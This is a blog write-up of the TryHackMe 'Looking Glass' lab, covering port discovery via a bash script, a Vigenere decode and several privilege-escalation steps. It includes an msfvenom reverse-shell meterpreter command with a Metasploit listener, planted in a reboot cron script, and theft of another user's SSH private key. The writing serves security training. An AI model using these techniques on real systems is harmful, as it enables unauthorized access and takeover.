Looking Glass - TryHackMe

Oct 19, 2020 • 6 minutes to read


This is a room from TryHackMe.


This room is a sequel of Wonderland. And here’s my writeup of Wonderland.

If you have any questions, or want to discuss anything with me, please leave a comment or find me through methods listed in About Page


First thing, no surprise, nmap:

nmap | tee nmap.log

But this machine gave me a huge surprise:


So many ports up. To figure out what services are running on these ports, I tried connecting them with netcat.

After trying connecting some of the ports, I found that most of the ports return a SSH-2.0-dropbear banner; Except port 22, which returns banner SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3.

try tcp

So I tried SSH to some of the ports, each of them returns a message of either “Higher” or “Lower”:

ssh ports

Higher ports tell me “Higher”, lower ones tell me “Lower”. So I guess there might be one correct port. Ports higher than the correct one will say “Higher”, ones lower than that will say “Lower”.

Entering The Looking Glass

To find this “correct” port, I wrote a Bash script and saved it as find_port.sh:



while true
	mid=$(echo "($high+$low)/2" | bc)
	echo -n "Low: $low, High: $high, Tring port: $mid -- "
	msg=$(ssh -o "StrictHostKeyChecking=no" -p $mid | tr -d '\r')
	echo "$msg"

	if [[ "$msg" == "Lower" ]]
	elif [[ "$msg" == "Higher" ]]

The script froze at port 10820:

script freeze

Then when I tried to connect to this port with SSH, it says You’ve found the read service. And I got a encrypted text, and the service asked me for a secret:

port 10820

I saved this encrypted text into challenge.txt. First thing I tried was ROT13, but it didn’t seem to work:


Then something seems like a title and looks less gibberish caught my attention. I Google’d “Jabberwocky” and found a poem. Comparing them side-by-side shows that they definitely are the same text, and I must be in the right direction:


With some simple observation, I guessed this is some kind of alphabet substitution cipher. But one certain letter in the clear text does not map to a certain letter in the cipher text. So I decided to try Vigenere cipher.

To calculate the key of a Vigenere cipher with known clear text, simply decode the cipher text with the clear text as key. I did this with CyberChef:


We can see the repeating pattern is “thea********", which is the key we want.

Then I decoded the cipher text with this key:


And we got the secret.

Now with this secret, I accessed port 10820 again and put in the secret. It gave me a credential:


So I tried this credential on port 22:


Yay! I’m in!

Local Escalation

Since we have the user password, we can have a look if we can use sudo command:

sudo -l

sudo -l

Interesting. Seems that we can reboot the machine. This is very rare.

I gave sudo reboot a go. My SSH connection lost. Then when the machine restarted, I tried to login as jabberwock again with the credential I got earlier. And I failed. Even port 10820 was not the correct challenge port any more.

So I ran find_port.sh again, gave it the same secret, and I got a different password for jabberwock.

So far I found this machine really creative as a challenge.

So I went on investigation. poem.txt is a text file which contains the poem Jabberwocky:


twasBrillig.sh is a script file containing one single command:


Taking a look at /home directory and /etc/passwd file shows that there are quite several other users on this machine:

other users

That’s enough of manual searching, time to run a automated local enumeration. I ran linpeas.sh as jabberwock.

In the report generated by linpeas.sh, I found the following line very interesting:

tweedledum reboot

This is written in file /etc/crontab:


User tweedledum will run the twasBrillig.sh script we found above at reboot. By altering this script, we should be able to get a shell of tweedledum.

To do this, I first generated a payload with msfvenom:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.xx.xx.xx LPORT=4443 -f elf -o mt.bin


Then uploaded it to the target machine, and added the following line into twasBrillig.sh:


On my local machine, I started Metasploit, and selected the exploit, selected the payload and started listening:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp

Then on the target machine as jabberwock:

sudo reboot

After waiting for a while, I received the connection:

connection received

Inside tweedledum’s home directory, 2 text files are interesting:

tweedledum home

So I downloaded humptydumpty.txt and investigated it. I tried to reverse the hex string into binary and see what it contains:


But what password is this?

Then I checked what tweedledum can do with sudo:

tweedledum sudo

Turns out tweedledum can run /bin/bash as tweedledee.

After trying some commands as tweedledee, I found that files in tweedledee’s home directory are pretty much the same as in tweedledum’s home directory, and tweedledee can run /bin/bash as tweedledum.

Seems nothing quite informative, except for the password. So next I focused on the password.

After some trials and fails, the password I just found turned out to be humptydumpty’s:

humpty login

The only thing seems interesting in humptydumpty’s home directory is poetry.txt:

humpty home

Seems like just a section from the novel.

Quick check on sudo command:

humpty sudo

Bummer :(

Maybe it’s time for another local enumeration.

But I found nothing exploitable from linpeas.sh report.

I’m a bit stuck here. And I have to admit that I took some extra hint here.

The author of this box has actually put some subtle hint here, but it’s just too subtle for me to get it.

In the /home directory, a weird thing about alice’s home is that everybody has execution permission on it:


This means we can cd into that directory, but cannot ls in it:

cannot ls

Buuuut, even though we cannot ls the directory, with the execution permission on it, we can read files in it if a) we know the file name AND b) we have read permission on that file.

For example, jabberwock can read alice’s .bash_rc:

head bashrc

So, what would be the most interesting file in alice’s home whose name we can guess?

That would be .ssh/id_rsa:

alice id rsa

So I grabbed this file, named it id_rsa_alice, and used it to login as alice:

alice login

And we got another user’s shell!

Under alice’s home directory, nothing looks particularly interesting straightaway:

alice home

So it’s time to enumerate again!

The file /etc/sudoers.d/alice somehow caught my attention:


Looks like alice can somehow run /bin/bash as root, doesn’t need password! But what is the ssalg-gnikool thing?

It’s looking-glass written backwards, I know. But what does this field mean in that file?

According to this guide, this guide, and this guide, this field is used to indicate on which hosts can this user sudo to the target user.

So we either need to be on a host called ssalg-gnikool to sudo, or ssalg-gnikool is a alias that includes looking-glass to sudo.

And finally I found in this answer entry that, YOU CAN ACTUALLY SPECIFY HOSTNAME with sudo -h. And this behavior is very easy to be overlooked in sudo's help:

sudo help

Soooo, finally, let’s root this machine!


Boot2RootTryHackMeEscalationVigenere CipherSSH
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